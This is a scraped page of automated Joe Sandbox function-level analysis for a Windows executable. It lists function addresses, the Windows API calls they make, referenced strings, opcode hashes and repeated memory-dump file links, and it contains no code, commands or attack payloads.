Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread
String ID:
API String ID: 2047054392-0
Opcode ID: 6ac5daa5e99bda45ccd37434aa85609d929d92620d4adefa8eb372316e6d8dd9
Instruction ID: ddc121a4f6acf5bea9f619629d08c8882f9c500797a2dc4d303ef01594e842ac
Opcode Fuzzy Hash: 6ac5daa5e99bda45ccd37434aa85609d929d92620d4adefa8eb372316e6d8dd9
Instruction Fuzzy Hash: FDF0F631D04A21FBC7222B30AC09FEA3B34EB45B76710823AF841A52D0CB78E8019799

Function 00404920 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

[G@, xrefs: 00404922, 00404941

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID: [G@
API String ID: 0-1447854097
Opcode ID: a326f01f3b6fc981f8a4c0b8ed5364528f65a0c607a9106bb81517acc723068d
Instruction ID: add450cc52f85a4a2c331ab1605008062976524d6d7880915663adb74ee16517
Opcode Fuzzy Hash: a326f01f3b6fc981f8a4c0b8ed5364528f65a0c607a9106bb81517acc723068d
Instruction Fuzzy Hash: A831C4F27002058BCF14DF69D880AA7B798EB95711B14857FEA06EB285DB75DC40CBA8

Function 00413D05 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00413D0A
UnhookWindowsHookEx.USER32(?), ref: 00413D51
UnhookWindowsHookEx.USER32(?), ref: 00413D5B

Strings

<A, xrefs: 00413D17

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: HookUnhookWindows$H_prolog
String ID: <A
API String ID: 995633319-2518260837
Opcode ID: e835ec905248dd8749ed1bd53715315a5f89189ccb040ee7cf473a172207b107
Instruction ID: 64febd12d881d56c8f1f9a99739925be729ffc9ea52553586317ab3193db0692
Opcode Fuzzy Hash: e835ec905248dd8749ed1bd53715315a5f89189ccb040ee7cf473a172207b107
Instruction Fuzzy Hash: 7B012C35601711DBD7249F69D804B9BB3E8BF44711F05856EE416E7750CBB8EE40CAA8

Function 0040BAA8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000000,?,?,?,?,?,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BAC6
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,00000000,00405659,00000000,00403C6A,00000000), ref: 0040BAD8

Strings

YV@, xrefs: 0040BABB
YV@, xrefs: 0040BAE5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringTypeWide
String ID: YV@$YV@
API String ID: 3139900361-2131056301
Opcode ID: c9e83803b788d5c9efe7234ea5a1450983cd1f071153213dd5d9dd5baace854e
Instruction ID: d5c9beec7504c5876c74b61f02d2782a8c867cd1bab9f03834fa62df6cfd53c1
Opcode Fuzzy Hash: c9e83803b788d5c9efe7234ea5a1450983cd1f071153213dd5d9dd5baace854e
Instruction Fuzzy Hash: 94F0DA32A01159EBCF218F94DC46ADFBB72FB44360F104525FA22621A0C37599619A98

Function 00412678 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 00412689
GetClassNameA.USER32(00000000,?,0000000A), ref: 004126A4
lstrcmpiA.KERNEL32(?,combobox), ref: 004126B3

Strings

combobox, xrefs: 004126AD

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: 6930447003099a2562f18ab3e3b30b94620eae1c96153a19ad35947bcc9ad283
Instruction ID: 546359d7933291005a0037369a0fae9e279b6193fa2ba721c86acd98cb4a17ee
Opcode Fuzzy Hash: 6930447003099a2562f18ab3e3b30b94620eae1c96153a19ad35947bcc9ad283
Instruction Fuzzy Hash: 92E06D32964209FFCF019F60CC4ABDE3B68EB41305F908632B426D51E0DAB8E595CB59

Function 00403090 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403D36,00000008,?,00402414,00000001,00000000,00000000,80000301), ref: 00403099
RtlAllocateHeap.NTDLL(00800000,00000008,80000301), ref: 004030AD
MessageBoxA.USER32(00000000,004B62FC,error,00000010), ref: 004030C6

Strings

error, xrefs: 004030BB

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 09c96f16f0b82f6ca8f2420e3be9cfe4f41f40e882d25a75820cc25e62a12cdb
Instruction ID: add3547e9fbef52a15113fd592d12dc65a965174e4468882b2a4f8013d9e1ab4
Opcode Fuzzy Hash: 09c96f16f0b82f6ca8f2420e3be9cfe4f41f40e882d25a75820cc25e62a12cdb
Instruction Fuzzy Hash: 83E09275741611ABDA246B65BC0DBCB3EA8AF48751B014175FA01E2395EAB8DC008BA9

Function 00408A0B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040557F), ref: 00408A10
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00408A20

Strings

IsProcessorFeaturePresent, xrefs: 00408A1A
KERNEL32, xrefs: 00408A0B

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 5105dcdbaa86cd25cfe9c54f13feec313c57ffd3e709da0d3894acd0ce604bae
Instruction ID: 0a72022d5e0b1161cc18cb880508327f439b9777a151eb73a5643e1319cea923
Opcode Fuzzy Hash: 5105dcdbaa86cd25cfe9c54f13feec313c57ffd3e709da0d3894acd0ce604bae
Instruction Fuzzy Hash: F0C0127035160199D93057B14D09BDA29145B58B02F25803B6045E01D4CF7CC440982D

Function 0040C21B Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,00000000), ref: 0040C2E2

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 915746b1a2e66025d3948442408c4a395a460c5cef2084a57469732374f59194
Instruction ID: 327af69fee44bec5959ea95ab1a3ff4d5568f3916d5a43167d751b8e490118f5
Opcode Fuzzy Hash: 915746b1a2e66025d3948442408c4a395a460c5cef2084a57469732374f59194
Instruction Fuzzy Hash: AA517C71900208EFDB11DFA9C8C4A9E7BB5FF45340F24C2BAE815AB2A1D7349A41DB59

Function 00412ED7 Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041304F: GetParent.USER32(?), ref: 00413082
Part of subcall function 0041304F: GetLastActivePopup.USER32(?), ref: 00413091
Part of subcall function 0041304F: IsWindowEnabled.USER32(?), ref: 004130A6
Part of subcall function 0041304F: EnableWindow.USER32(?,00000000), ref: 004130B9

SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00412F0D
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00412F7B
MessageBoxA.USER32(00000000,?,?,00000000), ref: 00412F89
EnableWindow.USER32(00000000,00000001), ref: 00412FA5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 1958756768-0
Opcode ID: be7eef1f7356e13706d6bf68531c8ece1854fef9e6703b3cce6b8cf514d63985
Instruction ID: 7c564bf28db0148b860e3d7a1828046209beaec79b57158ed3bc5f806e0df7f0
Opcode Fuzzy Hash: be7eef1f7356e13706d6bf68531c8ece1854fef9e6703b3cce6b8cf514d63985
Instruction Fuzzy Hash: 8921F672A00109EFDB209F94CDC1AEEB7B5EB44300F14443AF604E7240D7B59E92AB58

Function 004053D2 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 004053F8

Part of subcall function 00407D73: HeapCreate.KERNELBASE(00000000,00001000,00000000,00405430,00000001), ref: 00407D84
Part of subcall function 00407D73: HeapDestroy.KERNEL32 ref: 00407DC3

GetCommandLineA.KERNEL32 ref: 00405458
GetStartupInfoA.KERNEL32(?), ref: 00405483
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004054A6

Part of subcall function 004054FF: ExitProcess.KERNEL32 ref: 0040551C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 52f6811655f530d9ffe3e517fac4456e84dde76c3566e3d952092559a485684c
Instruction ID: 129ac5540d630cd21c3b2d81ff77c451c531769ea83f57a894d3a1d8c017df8f
Opcode Fuzzy Hash: 52f6811655f530d9ffe3e517fac4456e84dde76c3566e3d952092559a485684c
Instruction Fuzzy Hash: A42151B1D44604AFDB04ABA69C06BAE7BA9EF04714F10453FF505B62E1DB789840CB99

Function 00413A8A Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00413AE7
RtlLeaveCriticalSection.NTDLL(?), ref: 00413AF7
LocalFree.KERNEL32(?), ref: 00413B00
TlsSetValue.KERNEL32(?,00000000), ref: 00413B16

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: dff40c55df8faec59ab752ab337cd6a2cb16b6e04bf37c991066a1f9b5d8b059
Instruction ID: 746a68ab78a068cb37ef9f8b5b0fcd9d538fbb7206d745f245f202f55877c412
Opcode Fuzzy Hash: dff40c55df8faec59ab752ab337cd6a2cb16b6e04bf37c991066a1f9b5d8b059
Instruction Fuzzy Hash: 9E216731600604EFDB25CF44D885BEA77A4FF85796F10806AE5828B2A1C7B9FE80CB54

Function 00466EE6 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00466F02
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00466F1B

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 39faf5dc3722b545af925c4fafea6833cdce697188d5cb97205524abde2f7184
Instruction ID: 70260cf21c04f4f0bf0d00a4fbff5607d03e16127e00e464694864e57726cb9a
Opcode Fuzzy Hash: 39faf5dc3722b545af925c4fafea6833cdce697188d5cb97205524abde2f7184
Instruction Fuzzy Hash: 9801D83260C3219EFB1A67B5ACC99172B56DB1977A721432FF010811F2FF298C11914E

Function 00409E89 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,00000000), ref: 00409EB1
RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 00409EE5
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00409EFF
HeapFree.KERNEL32(00000000,?), ref: 00409F16

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Heap$Allocate$AllocFreeVirtual
String ID:
API String ID: 94566200-0
Opcode ID: 858ec80cf47b28cde3160b01c0a75f6cd9f08581e400bb1876cf5acdb32f69b9
Instruction ID: 5235c70339f77abd2a599a7d9fcd0a89a313d3f029b5165fe276c4f7bdddeaa8
Opcode Fuzzy Hash: 858ec80cf47b28cde3160b01c0a75f6cd9f08581e400bb1876cf5acdb32f69b9
Instruction Fuzzy Hash: 2D119D31200203EFEB618F18EC4EE667BB1FB863107188A7AE551D21B0CB319D42CF48

Function 004114FB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00411506
GetTopWindow.USER32(00000000), ref: 00411519
GetTopWindow.USER32(?), ref: 00411549
GetWindow.USER32(00000000,00000002), ref: 00411564

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: e42d5aca168aa44eb131f50ce1bfaa4ead936df8f8c50d75843b500de7528113
Instruction ID: a6050e7171d72f96c430f1b488cd3f5e97b2455d871d876cab93d4b1c37f2ba8
Opcode Fuzzy Hash: e42d5aca168aa44eb131f50ce1bfaa4ead936df8f8c50d75843b500de7528113
Instruction Fuzzy Hash: EF01213250252AB7CB22AF659C00ADF7A6AAF95790B044027FE0192270D739C951DAD9

Function 00411574 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00411582
SendMessageA.USER32(00000000,?,?,?), ref: 004115B8
GetTopWindow.USER32(00000000), ref: 004115C5
GetWindow.USER32(00000000,00000002), ref: 004115E3

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
